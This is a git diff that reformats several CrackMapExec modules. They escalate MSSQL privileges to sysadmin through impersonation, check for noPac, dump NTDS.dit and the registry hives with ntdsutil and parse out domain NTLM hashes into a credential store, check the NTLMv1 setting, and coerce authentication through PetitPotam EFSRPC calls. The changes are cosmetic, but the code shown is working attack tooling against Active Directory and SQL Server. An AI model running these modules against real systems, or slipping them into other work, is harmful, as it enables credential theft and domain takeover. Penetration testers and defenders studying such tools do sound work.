def do_dbowner_privesc(self, database, exec_as=''):
|
||||
def do_dbowner_privesc(self, database, exec_as=""):
|
||||
# change context if necessary
|
||||
self.query_and_get_output(exec_as)
|
||||
# use database
|
||||
@@ -276,39 +256,31 @@ class CMEModule:
|
||||
self.query_and_get_output("DROP PROCEDURE sp_elevate_me;")
|
||||
self.revert_context(exec_as)
|
||||
|
||||
def do_impersonation_privesc(self, username, exec_as=''):
|
||||
def do_impersonation_privesc(self, username, exec_as=""):
|
||||
# change context if necessary
|
||||
self.query_and_get_output(exec_as)
|
||||
# update our privilege
|
||||
self.query_and_get_output(
|
||||
f"EXEC sp_addsrvrolemember '{username}', 'sysadmin'"
|
||||
)
|
||||
self.query_and_get_output(f"EXEC sp_addsrvrolemember '{username}', 'sysadmin'")
|
||||
self.revert_context(exec_as)
|
||||
|
||||
def get_impersonate_users(self, exec_as='') -> list:
|
||||
def get_impersonate_users(self, exec_as="") -> list:
|
||||
query = """SELECT DISTINCT b.name
|
||||
FROM sys.server_permissions a
|
||||
INNER JOIN sys.server_principals b
|
||||
ON a.grantor_principal_id = b.principal_id
|
||||
WHERE a.permission_name like 'IMPERSONATE%'"""
|
||||
res = self.query_and_get_output(exec_as + query)
|
||||
# self.context.log.debug(f"Result: {res}")
|
||||
self.revert_context(exec_as)
|
||||
try:
|
||||
return res.split("\n\n")[2:]
|
||||
except IndexError:
|
||||
return []
|
||||
users = [user["name"] for user in res]
|
||||
return users
|
||||
|
||||
def remove_sysadmin_priv(self) -> bool:
|
||||
res = self.query_and_get_output(
|
||||
f"EXEC sp_dropsrvrolemember '{self.current_username}', 'sysadmin'"
|
||||
)
|
||||
res = self.query_and_get_output(f"EXEC sp_dropsrvrolemember '{self.current_username}', 'sysadmin'")
|
||||
return not self.is_admin()
|
||||
|
||||
|
||||
def is_admin_user(self, username) -> bool:
|
||||
res = self.query_and_get_output(
|
||||
f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')"
|
||||
)
|
||||
res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')")
|
||||
try:
|
||||
if int(res):
|
||||
self.admin_privs = True
|
||||
@@ -319,4 +291,4 @@ class CMEModule:
|
||||
return False
|
||||
|
||||
def revert_context(self, exec_as):
|
||||
self.query_and_get_output("REVERT;"*exec_as.count("EXECUTE"))
|
||||
self.query_and_get_output("REVERT;" * exec_as.count("EXECUTE"))
|
||||
|
||||
+24
-15
File diff suppressed because one or more lines are too long
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# Credit to https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
|
||||
# @exploitph @Evi1cg
|
||||
# @exploitph @Evi1cg
|
||||
# module by @mpgn_x64
|
||||
|
||||
from binascii import unhexlify
|
||||
@@ -9,8 +9,8 @@ from impacket.krb5.kerberosv5 import getKerberosTGT
|
||||
from impacket.krb5 import constants
|
||||
from impacket.krb5.types import Principal
|
||||
|
||||
class CMEModule:
|
||||
|
||||
class CMEModule:
|
||||
name = "nopac"
|
||||
description = "Check if the DC is vulnerable to CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user"
|
||||
supported_protocols = ["smb"]
|
||||
@@ -18,8 +18,7 @@ class CMEModule:
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
"""
|
||||
""" """
|
||||
|
||||
def on_login(self, context, connection):
|
||||
user_name = Principal(connection.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||
@@ -32,7 +31,7 @@ class CMEModule:
|
||||
unhexlify(connection.nthash),
|
||||
connection.aesKey,
|
||||
connection.host,
|
||||
requestPAC=True
|
||||
requestPAC=True,
|
||||
)
|
||||
context.log.highlight("TGT with PAC size " + str(len(tgt_with_pac)))
|
||||
tgt_no_pac, cipher, old_session_key, session_key = getKerberosTGT(
|
||||
@@ -43,7 +42,7 @@ class CMEModule:
|
||||
unhexlify(connection.nthash),
|
||||
connection.aesKey,
|
||||
connection.host,
|
||||
requestPAC=False
|
||||
requestPAC=False,
|
||||
)
|
||||
context.log.highlight("TGT without PAC size " + str(len(tgt_no_pac)))
|
||||
if len(tgt_no_pac) < len(tgt_with_pac):
|
||||
|
||||
+82
-50
@@ -8,16 +8,18 @@ from impacket.examples.secretsdump import LocalOperations, NTDSHashes
|
||||
from cme.helpers.logger import highlight
|
||||
from cme.helpers.misc import validate_ntlm
|
||||
|
||||
|
||||
class CMEModule:
|
||||
"""
|
||||
Dump NTDS with ntdsutil
|
||||
Module by @zblurx
|
||||
Dump NTDS with ntdsutil
|
||||
Module by @zblurx
|
||||
|
||||
"""
|
||||
name = 'ntdsutil'
|
||||
description = 'Dump NTDS with ntdsutil'
|
||||
supported_protocols = ['smb']
|
||||
opsec_safe= True
|
||||
|
||||
name = "ntdsutil"
|
||||
description = "Dump NTDS with ntdsutil"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
@@ -34,58 +36,70 @@ class CMEModule:
|
||||
self.dir_result = self.dir_result = tempfile.mkdtemp()
|
||||
self.no_delete = False
|
||||
|
||||
if 'DIR_RESULT' in module_options:
|
||||
self.dir_result = os.path.abspath(module_options['DIR_RESULT'])
|
||||
if "DIR_RESULT" in module_options:
|
||||
self.dir_result = os.path.abspath(module_options["DIR_RESULT"])
|
||||
self.no_delete = True
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
command = "powershell \"ntdsutil.exe 'ac i ntds' 'ifm' 'create full %s%s' q q\"" % (self.tmp_dir, self.dump_location)
|
||||
context.log.display('Dumping ntds with ntdsutil.exe to %s%s' % (self.tmp_dir,self.dump_location))
|
||||
context.log.highlight('Dumping the NTDS, this could take a while so go grab a redbull...')
|
||||
context.log.debug('Executing command {}'.format(command))
|
||||
context.log.display("Dumping ntds with ntdsutil.exe to %s%s" % (self.tmp_dir, self.dump_location))
|
||||
context.log.highlight("Dumping the NTDS, this could take a while so go grab a redbull...")
|
||||
context.log.debug("Executing command {}".format(command))
|
||||
p = connection.execute(command, True)
|
||||
context.log.debug(p)
|
||||
if 'success' in p:
|
||||
if "success" in p:
|
||||
context.log.success("NTDS.dit dumped to %s%s" % (self.tmp_dir, self.dump_location))
|
||||
else:
|
||||
context.log.fail("Error while dumping NTDS")
|
||||
return
|
||||
|
||||
os.makedirs(self.dir_result, exist_ok=True)
|
||||
os.makedirs(os.path.join(self.dir_result, 'Active Directory'), exist_ok=True)
|
||||
os.makedirs(os.path.join(self.dir_result, 'registry'), exist_ok=True)
|
||||
os.makedirs(os.path.join(self.dir_result, "Active Directory"), exist_ok=True)
|
||||
os.makedirs(os.path.join(self.dir_result, "registry"), exist_ok=True)
|
||||
|
||||
context.log.display("Copying NTDS dump to %s" % self.dir_result)
|
||||
context.log.debug('Copy ntds.dit to host')
|
||||
with open(os.path.join(self.dir_result,'Active Directory','ntds.dit'), 'wb+') as dump_file:
|
||||
context.log.debug("Copy ntds.dit to host")
|
||||
with open(os.path.join(self.dir_result, "Active Directory", "ntds.dit"), "wb+") as dump_file:
|
||||
try:
|
||||
connection.conn.getFile(self.share, self.tmp_share + self.dump_location + "\\" + 'Active Directory\\ntds.dit', dump_file.write)
|
||||
context.log.debug('Copied ntds.dit file')
|
||||
connection.conn.getFile(
|
||||
self.share,
|
||||
self.tmp_share + self.dump_location + "\\" + "Active Directory\\ntds.dit",
|
||||
dump_file.write,
|
||||
)
|
||||
context.log.debug("Copied ntds.dit file")
|
||||
except Exception as e:
|
||||
context.log.fail('Error while get ntds.dit file: {}'.format(e))
|
||||
context.log.fail("Error while get ntds.dit file: {}".format(e))
|
||||
|
||||
context.log.debug('Copy SYSTEM to host')
|
||||
with open(os.path.join(self.dir_result,'registry','SYSTEM'), 'wb+') as dump_file:
|
||||
context.log.debug("Copy SYSTEM to host")
|
||||
with open(os.path.join(self.dir_result, "registry", "SYSTEM"), "wb+") as dump_file:
|
||||
try:
|
||||
connection.conn.getFile(self.share, self.tmp_share + self.dump_location + "\\" + 'registry\\SYSTEM', dump_file.write)
|
||||
context.log.debug('Copied SYSTEM file')
|
||||
connection.conn.getFile(
|
||||
self.share,
|
||||
self.tmp_share + self.dump_location + "\\" + "registry\\SYSTEM",
|
||||
dump_file.write,
|
||||
)
|
||||
context.log.debug("Copied SYSTEM file")
|
||||
except Exception as e:
|
||||
context.log.fail('Error while get SYSTEM file: {}'.format(e))
|
||||
context.log.fail("Error while get SYSTEM file: {}".format(e))
|
||||
|
||||
context.log.debug('Copy SECURITY to host')
|
||||
with open(os.path.join(self.dir_result,'registry','SECURITY'), 'wb+') as dump_file:
|
||||
context.log.debug("Copy SECURITY to host")
|
||||
with open(os.path.join(self.dir_result, "registry", "SECURITY"), "wb+") as dump_file:
|
||||
try:
|
||||
connection.conn.getFile(self.share, self.tmp_share + self.dump_location + "\\" + 'registry\\SECURITY', dump_file.write)
|
||||
context.log.debug('Copied SECURITY file')
|
||||
connection.conn.getFile(
|
||||
self.share,
|
||||
self.tmp_share + self.dump_location + "\\" + "registry\\SECURITY",
|
||||
dump_file.write,
|
||||
)
|
||||
context.log.debug("Copied SECURITY file")
|
||||
except Exception as e:
|
||||
context.log.fail('Error while get SECURITY file: {}'.format(e))
|
||||
context.log.fail("Error while get SECURITY file: {}".format(e))
|
||||
context.log.display("NTDS dump copied to %s" % self.dir_result)
|
||||
try:
|
||||
command = "rmdir /s /q %s%s" % (self.tmp_dir, self.dump_location)
|
||||
p = connection.execute(command, True)
|
||||
context.log.success('Deleted %s%s remote dump directory' % (self.tmp_dir, self.dump_location))
|
||||
context.log.success("Deleted %s%s remote dump directory" % (self.tmp_dir, self.dump_location))
|
||||
except Exception as e:
|
||||
context.log.fail('Error deleting {} remote directory on share {}: {}'.format(self.dump_location, self.share, e))
|
||||
context.log.fail("Error deleting {} remote directory on share {}: {}".format(self.dump_location, self.share, e))
|
||||
|
||||
localOperations = LocalOperations("%s/registry/SYSTEM" % self.dir_result)
|
||||
bootKey = localOperations.getBootKey()
|
||||
@@ -102,18 +116,18 @@ class CMEModule:
|
||||
else:
|
||||
ntds_hash = ntds_hash.split(" ")[0]
|
||||
context.log.highlight(ntds_hash)
|
||||
if ntds_hash.find('$') == -1:
|
||||
if ntds_hash.find('\\') != -1:
|
||||
domain, hash = ntds_hash.split('\\')
|
||||
if ntds_hash.find("$") == -1:
|
||||
if ntds_hash.find("\\") != -1:
|
||||
domain, hash = ntds_hash.split("\\")
|
||||
else:
|
||||
domain = connection.domain
|
||||
hash = ntds_hash
|
||||
|
||||
try:
|
||||
username,_,lmhash,nthash,_,_,_ = hash.split(':')
|
||||
parsed_hash = ':'.join((lmhash, nthash))
|
||||
username, _, lmhash, nthash, _, _, _ = hash.split(":")
|
||||
parsed_hash = ":".join((lmhash, nthash))
|
||||
if validate_ntlm(parsed_hash):
|
||||
context.db.add_credential('hash', domain, username, parsed_hash, pillaged_from=host_id)
|
||||
context.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
|
||||
add_ntds_hash.added_to_db += 1
|
||||
return
|
||||
raise
|
||||
@@ -121,28 +135,46 @@ class CMEModule:
|
||||
context.log.debug("Dumped hash is not NTLM, not adding to db for now ;)")
|
||||
else:
|
||||
context.log.debug("Dumped hash is a computer account, not adding to db")
|
||||
|
||||
add_ntds_hash.ntds_hashes = 0
|
||||
add_ntds_hash.added_to_db = 0
|
||||
|
||||
NTDS = NTDSHashes("%s/Active Directory/ntds.dit" % self.dir_result, bootKey, isRemote=False, history=False, noLMHash=noLMHash,
|
||||
remoteOps=None, useVSSMethod=True, justNTLM=True,
|
||||
pwdLastSet=False, resumeSession=None, outputFileName=connection.output_filename,
|
||||
justUser=None, printUserStatus=True,
|
||||
perSecretCallback = lambda secretType, secret : add_ntds_hash(secret, host_id))
|
||||
|
||||
NTDS = NTDSHashes(
|
||||
"%s/Active Directory/ntds.dit" % self.dir_result,
|
||||
bootKey,
|
||||
isRemote=False,
|
||||
history=False,
|
||||
noLMHash=noLMHash,
|
||||
remoteOps=None,
|
||||
useVSSMethod=True,
|
||||
justNTLM=True,
|
||||
pwdLastSet=False,
|
||||
resumeSession=None,
|
||||
outputFileName=connection.output_filename,
|
||||
justUser=None,
|
||||
printUserStatus=True,
|
||||
perSecretCallback=lambda secretType, secret: add_ntds_hash(secret, host_id),
|
||||
)
|
||||
|
||||
try:
|
||||
context.log.success('Dumping the NTDS, this could take a while so go grab a redbull...')
|
||||
context.log.success("Dumping the NTDS, this could take a while so go grab a redbull...")
|
||||
NTDS.dump()
|
||||
context.log.success('Dumped {} NTDS hashes to {} of which {} were added to the database'.format(highlight(add_ntds_hash.ntds_hashes), connection.output_filename + '.ntds', highlight(add_ntds_hash.added_to_db)))
|
||||
context.log.success(
|
||||
"Dumped {} NTDS hashes to {} of which {} were added to the database".format(
|
||||
highlight(add_ntds_hash.ntds_hashes),
|
||||
connection.output_filename + ".ntds",
|
||||
highlight(add_ntds_hash.added_to_db),
|
||||
)
|
||||
)
|
||||
context.log.display("To extract only enabled accounts from the output file, run the following command: ")
|
||||
context.log.display("grep -iv disabled {} | cut -d ':' -f1".format(connection.output_filename + '.ntds'))
|
||||
context.log.display("grep -iv disabled {} | cut -d ':' -f1".format(connection.output_filename + ".ntds"))
|
||||
except Exception as e:
|
||||
context.log.fail(e)
|
||||
|
||||
NTDS.finish()
|
||||
|
||||
|
||||
if self.no_delete:
|
||||
context.log.display('Raw NTDS dump copied to %s, parse it with:' % self.dir_result)
|
||||
context.log.display("secretsdump.py -system %s/registry/SYSTEM -security %s/registry/SECURITY -ntds \"%s/Active Directory/ntds.dit\" LOCAL" % (self.dir_result, self.dir_result, self.dir_result))
|
||||
context.log.display("Raw NTDS dump copied to %s, parse it with:" % self.dir_result)
|
||||
context.log.display('secretsdump.py -system %s/registry/SYSTEM -security %s/registry/SECURITY -ntds "%s/Active Directory/ntds.dit" LOCAL' % (self.dir_result, self.dir_result, self.dir_result))
|
||||
else:
|
||||
shutil.rmtree(self.dir_result)
|
||||
shutil.rmtree(self.dir_result)
|
||||
|
||||
@@ -11,6 +11,7 @@ class CMEModule:
|
||||
Detect if the target's LmCompatibilityLevel will allow NTLMv1 authentication
|
||||
Module by @Tw1sm
|
||||
"""
|
||||
|
||||
name = "ntlmv1"
|
||||
description = "Detect if lmcompatibilitylevel on the target is set to 0 or 1"
|
||||
supported_protocols = ["smb"]
|
||||
@@ -31,16 +32,16 @@ class CMEModule:
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
"SYSTEM\\CurrentControlSet\\Control\\Lsa"
|
||||
"SYSTEM\\CurrentControlSet\\Control\\Lsa",
|
||||
)
|
||||
key_handle = ans['phkResult']
|
||||
key_handle = ans["phkResult"]
|
||||
rtype = None
|
||||
data = None
|
||||
try:
|
||||
rtype, data = rrp.hBaseRegQueryValue(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
key_handle,
|
||||
"lmcompatibilitylevel\x00"
|
||||
"lmcompatibilitylevel\x00",
|
||||
)
|
||||
except rrp.DCERPCSessionError as e:
|
||||
context.log.debug(f"Unable to reference lmcompatabilitylevel, which probably means ntlmv1 is not set")
|
||||
|
||||
+110
-88
@@ -10,14 +10,19 @@ from impacket import system_errors
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
|
||||
from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD, PCHAR, RPC_SID, LPWSTR
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from impacket.dcerpc.v5.rpcrt import (
|
||||
DCERPCException,
|
||||
RPC_C_AUTHN_WINNT,
|
||||
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
||||
RPC_C_AUTHN_GSS_NEGOTIATE,
|
||||
)
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
|
||||
|
||||
class CMEModule:
|
||||
name = 'petitpotam'
|
||||
name = "petitpotam"
|
||||
description = "Module to check if the DC is vulnerable to PetitPotam, credit to @topotam"
|
||||
supported_protocols = ['smb']
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
@@ -27,11 +32,11 @@ class CMEModule:
|
||||
PIPE Default PIPE (default: lsarpc)
|
||||
"""
|
||||
self.listener = "127.0.0.1"
|
||||
if 'LISTENER' in module_options:
|
||||
self.listener = module_options['LISTENER']
|
||||
if "LISTENER" in module_options:
|
||||
self.listener = module_options["LISTENER"]
|
||||
self.pipe = "lsarpc"
|
||||
if 'PIPE' in module_options:
|
||||
self.pipe = module_options['PIPE']
|
||||
if "PIPE" in module_options:
|
||||
self.pipe = module_options["PIPE"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
dce = coerce(
|
||||
@@ -45,14 +50,22 @@ class CMEModule:
|
||||
do_kerberos=connection.kerberos,
|
||||
dc_host=connection.kdcHost,
|
||||
target_ip=connection.host,
|
||||
context=context
|
||||
context=context,
|
||||
)
|
||||
if efs_rpc_open_file_raw(dce, self.listener, context):
|
||||
context.log.highlight("VULNERABLE")
|
||||
context.log.highlight("Next step: https://github.com/topotam/PetitPotam")
|
||||
try:
|
||||
host = context.db.get_hosts(connection.host)[0]
|
||||
context.db.add_host(host.ip, host.hostname, host.domain, host.os, host.smbv1, host.signing, petitpotam=True)
|
||||
context.db.add_host(
|
||||
host.ip,
|
||||
host.hostname,
|
||||
host.domain,
|
||||
host.os,
|
||||
host.smbv1,
|
||||
host.signing,
|
||||
petitpotam=True,
|
||||
)
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error updating petitpotam status in database")
|
||||
|
||||
@@ -61,14 +74,18 @@ class DCERPCSessionError(DCERPCException):
|
||||
def __init__(self, error_string=None, error_code=None, packet=None):
|
||||
DCERPCException.__init__(self, error_string, error_code, packet)
|
||||
|
||||
def __str__( self ):
|
||||
def __str__(self):
|
||||
key = self.error_code
|
||||
if key in system_errors.ERROR_MESSAGES:
|
||||
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
|
||||
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
|
||||
return 'EFSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
|
||||
return "EFSR SessionError: code: 0x%x - %s - %s" % (
|
||||
self.error_code,
|
||||
error_msg_short,
|
||||
error_msg_verbose,
|
||||
)
|
||||
else:
|
||||
return 'EFSR SessionError: unknown error code: 0x%x' % self.error_code
|
||||
return "EFSR SessionError: unknown error code: 0x%x" % self.error_code
|
||||
|
||||
|
||||
################################################################################
|
||||
@@ -76,82 +93,73 @@ class DCERPCSessionError(DCERPCException):
|
||||
################################################################################
|
||||
class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (
|
||||
('Data', '20s'),
|
||||
)
|
||||
structure = (("Data", "20s"),)
|
||||
|
||||
|
||||
class EFS_EXIM_PIPE(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (
|
||||
('Data', ':'),
|
||||
)
|
||||
structure = (("Data", ":"),)
|
||||
|
||||
|
||||
class EFS_HASH_BLOB(NDRSTRUCT):
|
||||
|
||||
structure = (
|
||||
('Data', DWORD),
|
||||
('cbData', PCHAR),
|
||||
("Data", DWORD),
|
||||
("cbData", PCHAR),
|
||||
)
|
||||
|
||||
|
||||
class EFS_RPC_BLOB(NDRSTRUCT):
|
||||
|
||||
structure = (
|
||||
('Data', DWORD),
|
||||
('cbData', PCHAR),
|
||||
("Data", DWORD),
|
||||
("cbData", PCHAR),
|
||||
)
|
||||
|
||||
|
||||
class EFS_CERTIFICATE_BLOB(NDRSTRUCT):
|
||||
structure = (
|
||||
('Type', DWORD),
|
||||
('Data', DWORD),
|
||||
('cbData', PCHAR),
|
||||
("Type", DWORD),
|
||||
("Data", DWORD),
|
||||
("cbData", PCHAR),
|
||||
)
|
||||
|
||||
|
||||
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
|
||||
structure = (
|
||||
('Lenght', DWORD),
|
||||
('SID', RPC_SID),
|
||||
('Hash', EFS_HASH_BLOB),
|
||||
('Display', LPWSTR),
|
||||
("Lenght", DWORD),
|
||||
("SID", RPC_SID),
|
||||
("Hash", EFS_HASH_BLOB),
|
||||
("Display", LPWSTR),
|
||||
)
|
||||
|
||||
|
||||
class ENCRYPTION_CERTIFICATE(NDRSTRUCT):
|
||||
structure = (
|
||||
('Lenght', DWORD),
|
||||
('SID', RPC_SID),
|
||||
('Hash', EFS_CERTIFICATE_BLOB),
|
||||
|
||||
("Lenght", DWORD),
|
||||
("SID", RPC_SID),
|
||||
("Hash", EFS_CERTIFICATE_BLOB),
|
||||
)
|
||||
|
||||
|
||||
class ENCRYPTION_CERTIFICATE_HASH_LIST(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (
|
||||
('Cert', DWORD),
|
||||
('Users', ENCRYPTION_CERTIFICATE_HASH),
|
||||
("Cert", DWORD),
|
||||
("Users", ENCRYPTION_CERTIFICATE_HASH),
|
||||
)
|
||||
|
||||
|
||||
class ENCRYPTED_FILE_METADATA_SIGNATURE(NDRSTRUCT):
|
||||
structure = (
|
||||
('Type', DWORD),
|
||||
('HASH', ENCRYPTION_CERTIFICATE_HASH_LIST),
|
||||
('Certif', ENCRYPTION_CERTIFICATE),
|
||||
('Blob', EFS_RPC_BLOB),
|
||||
("Type", DWORD),
|
||||
("HASH", ENCRYPTION_CERTIFICATE_HASH_LIST),
|
||||
("Certif", ENCRYPTION_CERTIFICATE),
|
||||
("Blob", EFS_RPC_BLOB),
|
||||
)
|
||||
|
||||
|
||||
class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (
|
||||
('Data', ':'),
|
||||
)
|
||||
structure = (("Data", ":"),)
|
||||
|
||||
|
||||
################################################################################
|
||||
@@ -160,57 +168,71 @@ class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT):
|
||||
class EfsRpcOpenFileRaw(NDRCALL):
|
||||
opnum = 0
|
||||
structure = (
|
||||
('fileName', WSTR),
|
||||
('Flag', ULONG),
|
||||
("fileName", WSTR),
|
||||
("Flag", ULONG),
|
||||
)
|
||||
|
||||
|
||||
class EfsRpcOpenFileRawResponse(NDRCALL):
|
||||
structure = (
|
||||
('hContext', EXIMPORT_CONTEXT_HANDLE),
|
||||
('ErrorCode', ULONG),
|
||||
("hContext", EXIMPORT_CONTEXT_HANDLE),
|
||||
("ErrorCode", ULONG),
|
||||
)
|
||||
|
||||
|
||||
class EfsRpcEncryptFileSrv(NDRCALL):
|
||||
opnum = 4
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
)
|
||||
structure = (("FileName", WSTR),)
|
||||
|
||||
|
||||
class EfsRpcEncryptFileSrvResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
structure = (("ErrorCode", ULONG),)
|
||||
|
||||
|
||||
def coerce(username, password, domain, lmhash, nthash, target, pipe, do_kerberos, dc_host, target_ip=None, context=None):
|
||||
def coerce(
|
||||
username,
|
||||
password,
|
||||
domain,
|
||||
lmhash,
|
||||
nthash,
|
||||
target,
|
||||
pipe,
|
||||
do_kerberos,
|
||||
dc_host,
|
||||
target_ip=None,
|
||||
context=None,
|
||||
):
|
||||
binding_params = {
|
||||
'lsarpc': {
|
||||
'stringBinding': r'ncacn_np:%s[\PIPE\lsarpc]' % target,
|
||||
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
||||
"lsarpc": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\lsarpc]" % target,
|
||||
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
|
||||
},
|
||||
'efsr': {
|
||||
'stringBinding': r'ncacn_np:%s[\PIPE\efsrpc]' % target,
|
||||
'MSRPC_UUID_EFSR': ('df1941c5-fe89-4e79-bf10-463657acf44d', '1.0')
|
||||
"efsr": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\efsrpc]" % target,
|
||||
"MSRPC_UUID_EFSR": ("df1941c5-fe89-4e79-bf10-463657acf44d", "1.0"),
|
||||
},
|
||||
'samr': {
|
||||
'stringBinding': r'ncacn_np:%s[\PIPE\samr]' % target,
|
||||
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
||||
"samr": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\samr]" % target,
|
||||
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
|
||||
},
|
||||
'lsass': {
|
||||
'stringBinding': r'ncacn_np:%s[\PIPE\lsass]' % target,
|
||||
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
||||
"lsass": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\lsass]" % target,
|
||||
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
|
||||
},
|
||||
'netlogon': {
|
||||
'stringBinding': r'ncacn_np:%s[\PIPE\netlogon]' % target,
|
||||
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
||||
"netlogon": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\netlogon]" % target,
|
||||
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
|
||||
},
|
||||
}
|
||||
rpc_transport = transport.DCERPCTransportFactory(binding_params[pipe]['stringBinding'])
|
||||
if hasattr(rpc_transport, 'set_credentials'):
|
||||
rpc_transport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
|
||||
rpc_transport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
|
||||
if hasattr(rpc_transport, "set_credentials"):
|
||||
rpc_transport.set_credentials(
|
||||
username=username,
|
||||
password=password,
|
||||
domain=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
)
|
||||
|
||||
if target_ip:
|
||||
rpc_transport.setRemoteHost(target_ip)
|
||||
@@ -223,16 +245,16 @@ def coerce(username, password, domain, lmhash, nthash, target, pipe, do_kerberos
|
||||
rpc_transport.set_kerberos(do_kerberos, kdcHost=dc_host)
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
context.log.info("[-] Connecting to %s" % binding_params[pipe]['stringBinding'])
|
||||
context.log.info("[-] Connecting to %s" % binding_params[pipe]["stringBinding"])
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception as e:
|
||||
context.log.debug("Something went wrong, check error status => %s" % str(e))
|
||||
sys.exit()
|
||||
context.log.info("[+] Connected!")
|
||||
context.log.info("[+] Binding to %s" % binding_params[pipe]['MSRPC_UUID_EFSR'][0])
|
||||
context.log.info("[+] Binding to %s" % binding_params[pipe]["MSRPC_UUID_EFSR"][0])
|
||||
try:
|
||||
dce.bind(uuidtup_to_bin(binding_params[pipe]['MSRPC_UUID_EFSR']))
|
||||
dce.bind(uuidtup_to_bin(binding_params[pipe]["MSRPC_UUID_EFSR"]))
|
||||
except Exception as e:
|
||||
context.log.debug("Something went wrong, check error status => %s" % str(e))
|
||||
sys.exit()
|
||||
@@ -243,27 +265,27 @@ def coerce(username, password, domain, lmhash, nthash, target, pipe, do_kerberos
|
||||
def efs_rpc_open_file_raw(dce, listener, context=None):
|
||||
try:
|
||||
request = EfsRpcOpenFileRaw()
|
||||
request['fileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
|
||||
request['Flag'] = 0
|
||||
request["fileName"] = "\\\\%s\\test\\Settings.ini\x00" % listener
|
||||
request["Flag"] = 0
|
||||
resp = dce.request(request)
|
||||
|
||||
except Exception as e:
|
||||
if str(e).find('ERROR_BAD_NETPATH') >= 0:
|
||||
context.log.info('[+] Got expected ERROR_BAD_NETPATH exception!!')
|
||||
context.log.info('[+] Attack worked!')
|
||||
if str(e).find("ERROR_BAD_NETPATH") >= 0:
|
||||
context.log.info("[+] Got expected ERROR_BAD_NETPATH exception!!")
|
||||
context.log.info("[+] Attack worked!")
|
||||
return True
|
||||
if str(e).find('rpc_s_access_denied') >= 0:
|
||||
context.log.info('[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!')
|
||||
context.log.info('[+] OK! Using unpatched function!')
|
||||
if str(e).find("rpc_s_access_denied") >= 0:
|
||||
context.log.info("[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!")
|
||||
context.log.info("[+] OK! Using unpatched function!")
|
||||
context.log.info("[-] Sending EfsRpcEncryptFileSrv!")
|
||||
try:
|
||||
request = EfsRpcEncryptFileSrv()
|
||||
request['FileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
|
||||
request["FileName"] = "\\\\%s\\test\\Settings.ini\x00" % listener
|
||||
resp = dce.request(request)
|
||||
except Exception as e:
|
||||
if str(e).find('ERROR_BAD_NETPATH') >= 0:
|
||||
context.log.info('[+] Got expected ERROR_BAD_NETPATH exception!!')
|
||||
context.log.info('[+] Attack worked!')
|
||||
if str(e).find("ERROR_BAD_NETPATH") >= 0:
|
||||
